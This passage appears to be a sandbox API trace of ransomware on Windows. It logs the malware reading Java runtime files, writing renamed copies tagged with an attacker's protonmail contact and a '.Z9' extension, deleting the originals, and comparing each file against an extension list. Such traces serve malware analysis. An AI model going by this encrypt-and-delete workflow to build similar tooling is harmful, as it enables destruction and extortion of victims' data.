	[0162.979] WriteFile (in: hFile=0x450, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x12580, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x12580, lpOverlapped=0x0) returned 1
	[0162.981] ReadFile (in: hFile=0x3e0, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.981] WriteFile (in: hFile=0x450, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x108, lpOverlapped=0x0) returned 1
	[0162.981] SetEndOfFile (hFile=0x450) returned 1
	[0162.982] CloseHandle (hObject=0x450) returned 1
	[0162.982] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.982] SetEndOfFile (hFile=0x3e0) returned 1
	[0162.987] CloseHandle (hObject=0x3e0) returned 1
	[0162.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0162.987] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 1
	[0162.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0162.988] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0162.988] lstrlenW (lpString=".doc") returned 4
	[0162.988] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0162.988] lstrlenW (lpString=".docx") returned 5
	[0162.988] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0162.988] lstrlenW (lpString=".pdf") returned 4
	[0162.988] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0162.988] lstrlenW (lpString=".xls") returned 4
	[0162.988] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0162.988] lstrlenW (lpString=".xlsx") returned 5
	[0162.988] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0162.988] lstrlenW (lpString=".ppt") returned 4
	[0162.988] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0162.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0162.989] lstrlenW (lpString=".zip") returned 4
	[0162.989] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0162.989] lstrlenW (lpString=".rar") returned 4
	[0162.989] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0162.989] lstrlenW (lpString=".bz2") returned 4
	[0162.989] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0162.989] lstrlenW (lpString=".7z") returned 3
	[0162.989] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0162.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0162.989] lstrlenW (lpString=".dbf") returned 4
	[0162.989] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0162.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0162.989] lstrlenW (lpString=".1cd") returned 4
	[0162.989] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0162.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0162.989] lstrlenW (lpString=".jpg") returned 4
	[0162.989] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0162.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0162.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0162.989] lstrlenW (lpString=".doc") returned 4
	[0162.989] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0162.989] lstrlenW (lpString=".docx") returned 5
	[0162.989] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0162.989] lstrlenW (lpString=".pdf") returned 4
	[0162.989] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0162.989] lstrlenW (lpString=".xls") returned 4
	[0162.989] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0162.989] lstrlenW (lpString=".xlsx") returned 5
	[0162.989] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0162.989] lstrlenW (lpString=".ppt") returned 4
	[0162.990] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0162.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0162.990] lstrlenW (lpString=".zip") returned 4
	[0162.990] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0162.990] lstrlenW (lpString=".rar") returned 4
	[0162.990] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0162.990] lstrlenW (lpString=".bz2") returned 4
	[0162.990] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0162.990] lstrlenW (lpString=".7z") returned 3
	[0162.990] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0162.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0162.990] lstrlenW (lpString=".dbf") returned 4
	[0162.990] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0162.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0162.990] lstrlenW (lpString=".1cd") returned 4
	[0162.990] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0162.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71
	[0162.990] lstrlenW (lpString=".jpg") returned 4
	[0162.990] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0162.990] lstrcmpiW (lpString1=".ttf", lpString2=".Z9") returned -1
	[0162.990] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21
	[0162.990] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0162.991] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=698236) returned 1
	[0162.991] CloseHandle (hObject=0x3e0) returned 1
	[0162.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20
	[0162.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0162.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0162.992] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.992] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.992] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0162.993] GetLastError () returned 0x0
	[0162.993] ReadFile (in: hFile=0x3e0, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0xaa77c, lpOverlapped=0x0) returned 1
	[0163.201] WriteFile (in: hFile=0x450, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xaa780, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xaa780, lpOverlapped=0x0) returned 1
	[0163.214] ReadFile (in: hFile=0x3e0, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.214] WriteFile (in: hFile=0x450, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xfe, lpOverlapped=0x0) returned 1
	[0163.215] SetEndOfFile (hFile=0x450) returned 1
	[0163.215] CloseHandle (hObject=0x450) returned 1
	[0163.215] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.215] SetEndOfFile (hFile=0x3e0) returned 1
	[0163.236] CloseHandle (hObject=0x3e0) returned 1
	[0163.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0163.237] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 1
	[0163.237] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0163.237] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0163.237] lstrlenW (lpString=".doc") returned 4
	[0163.549] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0163.549] lstrlenW (lpString=".docx") returned 5
	[0163.549] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0163.549] lstrlenW (lpString=".pdf") returned 4
	[0163.549] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0163.549] lstrlenW (lpString=".xls") returned 4
	[0163.549] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0163.550] lstrlenW (lpString=".xlsx") returned 5
	[0163.550] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0163.550] lstrlenW (lpString=".ppt") returned 4
	[0163.550] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0163.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0163.550] lstrlenW (lpString=".zip") returned 4
	[0163.550] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0163.550] lstrlenW (lpString=".rar") returned 4
	[0163.550] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0163.550] lstrlenW (lpString=".bz2") returned 4
	[0163.550] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0163.550] lstrlenW (lpString=".7z") returned 3
	[0163.550] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0163.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0163.550] lstrlenW (lpString=".dbf") returned 4
	[0163.550] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0163.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0163.550] lstrlenW (lpString=".1cd") returned 4
	[0163.550] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0163.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0163.550] lstrlenW (lpString=".jpg") returned 4
	[0163.550] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0163.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0163.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0163.550] lstrlenW (lpString=".doc") returned 4
	[0163.551] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0163.551] lstrlenW (lpString=".docx") returned 5
	[0163.551] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1
	[0163.551] lstrlenW (lpString=".pdf") returned 4
	[0163.551] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0163.551] lstrlenW (lpString=".xls") returned 4
	[0163.551] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0163.551] lstrlenW (lpString=".xlsx") returned 5
	[0163.551] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1
	[0163.551] lstrlenW (lpString=".ppt") returned 4
	[0163.551] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0163.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0163.551] lstrlenW (lpString=".zip") returned 4
	[0163.551] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0163.551] lstrlenW (lpString=".rar") returned 4
	[0163.551] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0163.551] lstrlenW (lpString=".bz2") returned 4
	[0163.551] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0163.551] lstrlenW (lpString=".7z") returned 3
	[0163.551] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0163.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0163.551] lstrlenW (lpString=".dbf") returned 4
	[0163.551] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0163.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0163.551] lstrlenW (lpString=".1cd") returned 4
	[0163.551] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0163.551] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66
	[0163.551] lstrlenW (lpString=".jpg") returned 4
	[0163.551] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0163.551] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0163.551] lstrlenW (lpString="jfxswt.jar") returned 10
	[0163.552] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0163.552] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=33932) returned 1
	[0163.552] CloseHandle (hObject=0x448) returned 1
	[0163.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20
	[0163.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.553] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0163.553] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.553] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.553] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0163.554] GetLastError () returned 0x0
	[0163.554] ReadFile (in: hFile=0x448, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x848c, lpOverlapped=0x0) returned 1
	[0163.557] WriteFile (in: hFile=0x44c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x8490, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x8490, lpOverlapped=0x0) returned 1
	[0163.558] ReadFile (in: hFile=0x448, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.559] WriteFile (in: hFile=0x44c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xe8, lpOverlapped=0x0) returned 1
	[0163.559] SetEndOfFile (hFile=0x44c) returned 1
	[0163.559] CloseHandle (hObject=0x44c) returned 1
	[0163.559] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.559] SetEndOfFile (hFile=0x448) returned 1
	[0163.562] CloseHandle (hObject=0x448) returned 1
	[0163.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0163.563] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 1
	[0163.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0163.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0163.563] lstrlenW (lpString=".doc") returned 4
	[0163.563] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0163.563] lstrlenW (lpString=".docx") returned 5
	[0163.563] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0163.563] lstrlenW (lpString=".pdf") returned 4
	[0163.563] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0163.563] lstrlenW (lpString=".xls") returned 4
	[0163.563] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0163.563] lstrlenW (lpString=".xlsx") returned 5
	[0163.563] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0163.563] lstrlenW (lpString=".ppt") returned 4
	[0163.563] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0163.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0163.564] lstrlenW (lpString=".zip") returned 4
	[0163.564] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0163.564] lstrlenW (lpString=".rar") returned 4
	[0163.564] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0163.564] lstrlenW (lpString=".bz2") returned 4
	[0163.564] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0163.564] lstrlenW (lpString=".7z") returned 3
	[0163.564] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0163.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0163.564] lstrlenW (lpString=".dbf") returned 4
	[0163.564] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0163.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0163.564] lstrlenW (lpString=".1cd") returned 4
	[0163.564] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0163.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0163.564] lstrlenW (lpString=".jpg") returned 4
	[0163.564] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0163.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0163.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0163.564] lstrlenW (lpString=".doc") returned 4
	[0163.564] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0163.564] lstrlenW (lpString=".docx") returned 5
	[0163.564] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0163.564] lstrlenW (lpString=".pdf") returned 4
	[0163.564] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0163.564] lstrlenW (lpString=".xls") returned 4
	[0163.564] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0163.564] lstrlenW (lpString=".xlsx") returned 5
	[0163.564] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0163.564] lstrlenW (lpString=".ppt") returned 4
	[0163.564] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0163.564] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0163.564] lstrlenW (lpString=".zip") returned 4
	[0163.564] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0163.564] lstrlenW (lpString=".rar") returned 4
	[0163.565] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0163.565] lstrlenW (lpString=".bz2") returned 4
	[0163.565] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0163.565] lstrlenW (lpString=".7z") returned 3
	[0163.565] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0163.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0163.565] lstrlenW (lpString=".dbf") returned 4
	[0163.565] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0163.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0163.565] lstrlenW (lpString=".1cd") returned 4
	[0163.565] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0163.565] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0163.565] lstrlenW (lpString=".jpg") returned 4
	[0163.565] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0163.565] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0163.565] lstrlenW (lpString="jsse.jar") returned 8
	[0163.565] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0163.566] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=584576) returned 1
	[0163.566] CloseHandle (hObject=0x448) returned 1
	[0163.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar")) returned 0x20
	[0163.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0163.566] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448
	[0163.566] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.566] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.567] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0163.567] GetLastError () returned 0x0
	[0163.567] ReadFile (in: hFile=0x448, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x8eb80, lpOverlapped=0x0) returned 1
	[0163.605] WriteFile (in: hFile=0x44c, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x8eb90, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x8eb90, lpOverlapped=0x0) returned 1
